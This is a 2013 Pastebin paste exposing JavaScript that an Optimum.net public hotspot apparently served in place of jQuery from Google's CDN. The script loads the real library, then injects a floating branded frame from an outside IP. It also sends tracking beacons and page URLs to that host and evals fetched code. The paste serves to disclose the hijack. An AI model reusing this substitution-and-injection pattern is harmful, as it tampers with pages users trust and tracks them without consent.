Advertisement
Guest User

If you do this, fuck you.

a guest
Apr 13th, 2013
1,417
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /* Optimum.net public hotspot hi-jacks jQuery loaded from google CDN. */
  2. (function() {
  3.     try {
  4.         function sendAccounting(z, y) {
  5.             z = z || 1;
  6.             y = y || 0;
  7.             var i = new Image();
  8.             i.src = "http://167.206.59.20:80/" + z + "-2573/2f43c5ba-75e1-4edd-ba3a-0850aa1f32d6_25.20.25.57/" + y + "." + (l + u);
  9.             return i
  10.         }
  11.         function c(C) {
  12.             var A, z = Math.floor(1000 * u),
  13.                 E = "fp" + z,
  14.                 B = "3254ea43e4fce8f36b0fb458bbe20b5d824be20c",
  15.                 y = "_!$[]fp2f43c5ba-75e1-4edd-ba3a-0850aa1f32d6[]$!_",
  16.                 D;
  17.             C.varPrefix = C.varPrefix || "fp";
  18.             C.jsonWidthArg = C.jsonWidthArg || "minimum_width";
  19.             C.jsonHeightArg = C.jsonHeightArg || "minimum_height";
  20.             if (typeof C.jsURI === "string") {
  21.                 C.jsURI = [C.jsURI]
  22.             }
  23.             if (e[y] === B) {
  24.                 return 1
  25.             } else {
  26.                 e[y] = B
  27.             }
  28.             if (C.requireTopWindow && e != top) {
  29.                 return 2
  30.             }
  31.             if (C.requireObjectHasOwnProperty && !Object.prototype.hasOwnProperty) {
  32.                 return 3
  33.             }
  34.             if (C.json) {
  35.                 if (typeof C.json === "string") {
  36.                     try {
  37.                         C.json = e["eval"]("(" + C.json + ")")
  38.                     } catch (F) {
  39.                         return 4
  40.                     }
  41.                 }
  42.                 if (C.preferJsonSettings) {
  43.                     if (C.json[C.jsonWidthArg]) {
  44.                         C.minWidth = C.json[C.jsonWidthArg]
  45.                     }
  46.                     if (C.json[C.jsonHeightArg]) {
  47.                         C.minHeight = C.json[C.jsonHeightArg]
  48.                     }
  49.                 }
  50.                 C.json._accounting = {
  51.                     stopTime: f,
  52.                     sendAccounting: sendAccounting,
  53.                     uri: "http://167.206.59.20/static",
  54.                     check: "1" == 1 && "http://167.206.59.20/CheckUrl/1/2573"
  55.                 }
  56.             }
  57.             if (C.minHeight || C.minWidth) {
  58.                 D = v(C.minHeight, C.minWidth);
  59.                 if (C.json) {
  60.                     C.json._ok = D
  61.                 }
  62.                 if (D() === false) {
  63.                     return 5
  64.                 }
  65.             }
  66.             if (C.json2uri) {
  67.                 while (e[E] !== undefined) {
  68.                     E = C.varPrefix + (++z)
  69.                 }
  70.                 e[E] = C.json;
  71.                 for (A = 0; A < C.jsURI.length; A++) {
  72.                     C.jsURI[A] += (C.jsURI[A].indexOf("?") !== -1 ? "&" : "?") + E
  73.                 }
  74.             }
  75.         }
  76.         function v(i, y) {
  77.             return function() {
  78.                 var z = 0,
  79.                     A = 0;
  80.                 if (self.innerHeight) {
  81.                     z = self.innerWidth;
  82.                     A = self.innerHeight
  83.                 } else {
  84.                     if (x.documentElement && x.documentElement.clientHeight) {
  85.                         z = x.documentElement.clientWidth;
  86.                         A = x.documentElement.clientHeight
  87.                     } else {
  88.                         if (x.body) {
  89.                             z = x.body.clientWidth;
  90.                             A = x.body.clientHeight
  91.                         }
  92.                     }
  93.                 }
  94.                 if (z == 0 && A == 0) {
  95.                     return 0
  96.                 }
  97.                 if (z < i || A < y) {
  98.                     return false
  99.                 }
  100.                 return true
  101.             }
  102.         }
  103.         function q() {
  104.             var C, y = new Date().getTime(),
  105.                 z, A = {
  106.                     requireTopWindow: true,
  107.                     requireObjectHasOwnProperty: true,
  108.                     minWidth: 550,
  109.                     minHeight: 400,
  110.                     json: '__JSON__',
  111.                     preferJsonSettings: true,
  112.                     jsURI: "__SCRIPT__",
  113.                     json2uri: false
  114.                 };
  115.  
  116.             function J(K, i) {
  117.                 if (K === "@" + i) {
  118.                     return null
  119.                 }
  120.                 return K
  121.             }
  122.             function F(K, i) {
  123.                 if (J(K, i) === null) {
  124.                     return null
  125.                 }
  126.                 K = K.toLowerCase();
  127.                 if (K == "true") {
  128.                     return true
  129.                 } else {
  130.                     if (K == "false") {
  131.                         return false
  132.                     }
  133.                 }
  134.                 K = G(K, i);
  135.                 if (K !== null) {
  136.                     K = !! K
  137.                 }
  138.                 return K
  139.             }
  140.             function G(K, i) {
  141.                 if (J(K, i) === null) {
  142.                     return null
  143.                 }
  144.                 K = parseInt(K);
  145.                 return !isNaN(K) ? K : null
  146.             }
  147.             function E(K, i) {
  148.                 if (J(K, i) === null) {
  149.                     return null
  150.                 }
  151.                 K = parseFloat(K);
  152.                 return !isNaN(K) ? K : null
  153.             }
  154.             function I(P, L, O) {
  155.                 if (J(P, L) === null) {
  156.                     return null
  157.                 }
  158.                 O = O || {};
  159.                 O.sep = O.sep || ",";
  160.                 O.type = O.type || "string";
  161.                 var N, M, K = P.split(O.sep);
  162.                 switch (O.type) {
  163.                 case "int":
  164.                     M = G;
  165.                     break;
  166.                 case "float":
  167.                     M = E;
  168.                     break;
  169.                 case "string":
  170.                 default:
  171.                     M = J;
  172.                     break
  173.                 }
  174.                 for (N = 0; N < K.length; N++) {
  175.                     K[N] = M(K[N])
  176.                 }
  177.                 return K
  178.             }
  179.             A.jsURI = "http://167.206.59.20/static/FloatingContent/dvIWp0-nyKiVq9SIXic1Zg/floating-frame.js";
  180.             A.json = {
  181.                 allow_content_scroll: F("0", "AllowContentScroll"),
  182.                 allow_content_transparency: F("1", "AllowContentTransparency"),
  183.                 anchor_corner: J("se", "AnchorCorner"),
  184.                 animate_in_duration: E("0.50", "AnimateInDuration"),
  185.                 animate_out_duration: E("0.50", "AnimateOutDuration"),
  186.                 animation_properties: I("opacity", "AnimationProperties"),
  187.                 auto_scale_mobile: F("0", "AutoScaleMobile"),
  188.                 border_bottom_color: J("", "BorderBottomColor"),
  189.                 border_bottom_position: J("", "BorderBottomPosition"),
  190.                 border_bottom_repeat: J("no-repeat", "BorderBottomRepeat"),
  191.                 border_bottom_width: G("0", "BorderBottomWidth"),
  192.                 border_left_color: J("", "BorderLeftColor"),
  193.                 border_left_position: J("", "BorderLeftPosition"),
  194.                 border_left_repeat: J("no-repeat", "BorderLeftRepeat"),
  195.                 border_left_width: G("0", "BorderLeftWidth"),
  196.                 border_right_color: J("", "BorderRightColor"),
  197.                 border_right_position: J("", "BorderRightPosition"),
  198.                 border_right_repeat: J("no-repeat", "BorderRightRepeat"),
  199.                 border_right_width: G("0", "BorderRightWidth"),
  200.                 border_top_color: J("", "BorderTopColor"),
  201.                 border_top_position: J("", "BorderTopPosition"),
  202.                 border_top_repeat: J("no-repeat", "BorderTopRepeat"),
  203.                 border_top_width: G("18", "BorderTopWidth"),
  204.                 bottom_align: J("left", "BottomAlign"),
  205.                 bottom_color: J("", "BottomColor"),
  206.                 bottom_decoration: J("", "BottomDecoration"),
  207.                 bottom_font_size: J("100%", "BottomFontSize"),
  208.                 bottom_font_weight: J("normal", "BottomFontWeight"),
  209.                 bottom_letter_spacing: E("0.00", "BottomLetterSpacing"),
  210.                 bottom_offset_left: G("0", "BottomOffsetLeft"),
  211.                 bottom_offset_right: G("0", "BottomOffsetRight"),
  212.                 bottom_offset_vertical: G("0", "BottomOffsetVertical"),
  213.                 bottom_text: J("", "BottomText"),
  214.                 bottom_word_spacing: E("0.00", "BottomWordSpacing"),
  215.                 close_align: J("right", "CloseAlign"),
  216.                 close_alt_text: J("", "CloseWindowText"),
  217.                 close_height: G("18", "CloseHeight"),
  218.                 close_horizontal_padding: G("0", "CloseHorizontalPadding"),
  219.                 close_hover_position: J("0 -18px", "CloseHoverPosition"),
  220.                 close_position: J("0 0", "ClosePosition"),
  221.                 close_vertical_offset: G("0", "CloseVerticalOffset"),
  222.                 close_width: G("18", "CloseWidth"),
  223.                 content_url: J(d("http://optimum.net/wifi/watermark/brand_awareness"), "ContentURL"),
  224.                 delay_duration: E("0.00", "DelayDuration"),
  225.                 horizontal_offset: G("10", "HorizontalOffset"),
  226.                 message_html: J('', "MessageHTML"),
  227.                 minimum_height: G("300", "MinimumHeight"),
  228.                 minimum_width: G("450", "MinimumWidth"),
  229.                 ne_corner_position: J("", "NeCornerPosition"),
  230.                 ne_corner_width: G("0", "NeCornerWidth"),
  231.                 nw_corner_position: J("", "NwCornerPosition"),
  232.                 nw_corner_width: G("0", "NwCornerWidth"),
  233.                 opaque_outer_frame: F("0", "OpaqueOuterFrame"),
  234.                 outer_height: G("70", "Height"),
  235.                 outer_width: G("320", "Width"),
  236.                 require_full_page_load: F("1", "RequireFullPageLoad"),
  237.                 se_corner_position: J("", "SeCornerPosition"),
  238.                 se_corner_width: G("0", "SeCornerWidth"),
  239.                 sprite_img: J("http://167.206.59.20/static/FloatingContent/static/x18.png", "SpriteImg"),
  240.                 sw_corner_position: J("", "SwCornerPosition"),
  241.                 sw_corner_width: G("0", "SwCornerWidth"),
  242.                 top_align: J("left", "TopAlign"),
  243.                 top_color: J("", "TopColor"),
  244.                 top_decoration: J("", "TopDecoration"),
  245.                 top_font_size: J("93%", "TopFontSize"),
  246.                 top_font_weight: J("bold", "TopFontWeight"),
  247.                 top_letter_spacing: E("0.00", "TopLetterSpacing"),
  248.                 top_offset_left: G("0", "TopOffsetLeft"),
  249.                 top_offset_right: G("0", "TopOffsetRight"),
  250.                 top_offset_vertical: G("0", "TopOffsetVertical"),
  251.                 top_text: J("", "WindowTitle"),
  252.                 top_word_spacing: E("0.00", "TopWordSpacing"),
  253.                 vertical_offset: G("10", "VerticalOffset"),
  254.                 visible_duration: E("15.00", "VisibleDuration")
  255.             };
  256.             var B = J("", "TextColor"),
  257.                 H = J("", "FrameColor");
  258.             if (H) {
  259.                 A.json.border_top_color = A.json.border_right_color = A.json.border_bottom_color = A.json.border_left_color = H
  260.             }
  261.             if (B) {
  262.                 A.json.top_color = A.json.bottom_color = B
  263.             }
  264.             if (A.json.outer_width >= 0) {
  265.                 A.json.outer_width += A.json.border_right_width + A.json.border_left_width
  266.             }
  267.             if (A.json.outer_height >= 0) {
  268.                 A.json.outer_height += A.json.border_top_width + A.json.border_bottom_width
  269.             }
  270.             if ((C = c(A)) || y > f) {
  271.                 sendAccounting(2, C)
  272.             } else {
  273.                 if (A.sendEarlyAccounting) {
  274.                     sendAccounting(1)
  275.                 }
  276.                 if (A.jsURI) {
  277.                     for (C = 0; C < A.jsURI.length; C++) {
  278.                         z = r("script", null, "src", d(A.jsURI[C]), "type", w);
  279.                         z[u] = A.json;
  280.                         j.appendChild(z)
  281.                     }
  282.                 }
  283.                 if (A.onInsert) {
  284.                     try {
  285.                         A.onInsert()
  286.                     } catch (D) {}
  287.                 }
  288.             }
  289.         }
  290.         function n(z) {
  291.             var C, A, y = [function() {
  292.                 return new XMLHttpRequest()
  293.             }, function() {
  294.                 return new ActiveXObject("Msxml2.XMLHTTP")
  295.             }, function() {
  296.                 return new ActiveXObject("Microsoft.XMLHTTP")
  297.             },
  298.             e.createRequest];
  299.             for (A = 0; A < y.length; A++) {
  300.                 C = 0;
  301.                 try {
  302.                     C = y[A]();
  303.                     break
  304.                 } catch (B) {
  305.                     C = 0
  306.                 }
  307.             }
  308.             if (C) {
  309.                 try {
  310.                     C.open("GET", z, false);
  311.                     C.setRequestHeader("X-PLCS", "xhr");
  312.                     C.send(null);
  313.                     if (C.status == 200) {
  314.                         return C.responseText || " "
  315.                     }
  316.                 } catch (B) {}
  317.             } else {}
  318.         }
  319.         function r(y, B) {
  320.             var A = x.createElement(y),
  321.                 z;
  322.             if (B) {
  323.                 A.appendChild(x.createTextNode(B))
  324.             }
  325.             for (z = 2; z < arguments.length; z += 2) {
  326.                 A.setAttribute(arguments[z], arguments[z + 1])
  327.             }
  328.             return A
  329.         }
  330.         function d(i) {
  331.             return i.replace("%PAGEURL%", escape(b.href))
  332.         }
  333.         function h() {
  334.             e.V = h.V;
  335.             e.log = h.log;
  336.             if (h.oncomplete) {
  337.                 h.oncomplete()
  338.             }
  339.         }
  340.         var s, m, w = "text/javascript",
  341.             t = "http://" + unescape("ajax.googleapis.com%2Fajax%2Flibs%2Fjquery%2F1.8.3%2Fjquery.min.js"),
  342.             u = Math.random(),
  343.             p = new Date().getTime(),
  344.             f, o = parseFloat("%ACCOUNTINGTIMEOUT%"),
  345.             e = window,
  346.             x = document,
  347.             b = e.location || x.location || {},
  348.             j = x.createElement("div"),
  349.             l = 3,
  350.             k;
  351.         j.innerHTML = "<!--[if IE]><i></i><![endif]-->";
  352.         k = j.getElementsByTagName("i").length;
  353.         h.V = e.V;
  354.         e.V = h;
  355.         h.log = e.log;
  356.         e.log = function(i) {};
  357.         if (isNaN(o)) {
  358.             o = 15
  359.         }
  360.         f = p + (o * 1000) - 2;
  361.         t += (~t.indexOf("?") ? (~t.indexOf(";") ? ";" : "&") : "?") + "_fp" + (u * 1000 | 0) + "=" + u;
  362.         j = x.getElementsByTagName("script");
  363.         j = ((s = j.length) ? j[s - 1] : (l = 4)).parentNode || x.body || x.documentElement.firstChild;
  364.         if (t.split("/")[2] == b.host) {
  365.             m = n(t);
  366.             if (m) {
  367.                 l = 1;
  368.                 h.js = m;
  369.                 h.oncomplete = q;
  370.                 return
  371.             }
  372.         }
  373.         if (x.readyState == (k ? "interactive" : "loading")) {
  374.             l = 2;
  375.             x.write("<scr".concat('ipt src="') + t + '" type="' + w + '"></scr'.concat("ipt>"))
  376.         } else {
  377.             j.appendChild(r("script", 0, "src", t, "type", w, "async", !1))
  378.         }
  379.         q()
  380.     } catch (g) {}
  381. })();
  382. if (window.V) {
  383.     if (V.js) {
  384.         try {
  385.             window["eval"](V.js)
  386.         } catch (a) {}
  387.     }
  388.     V()
  389. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement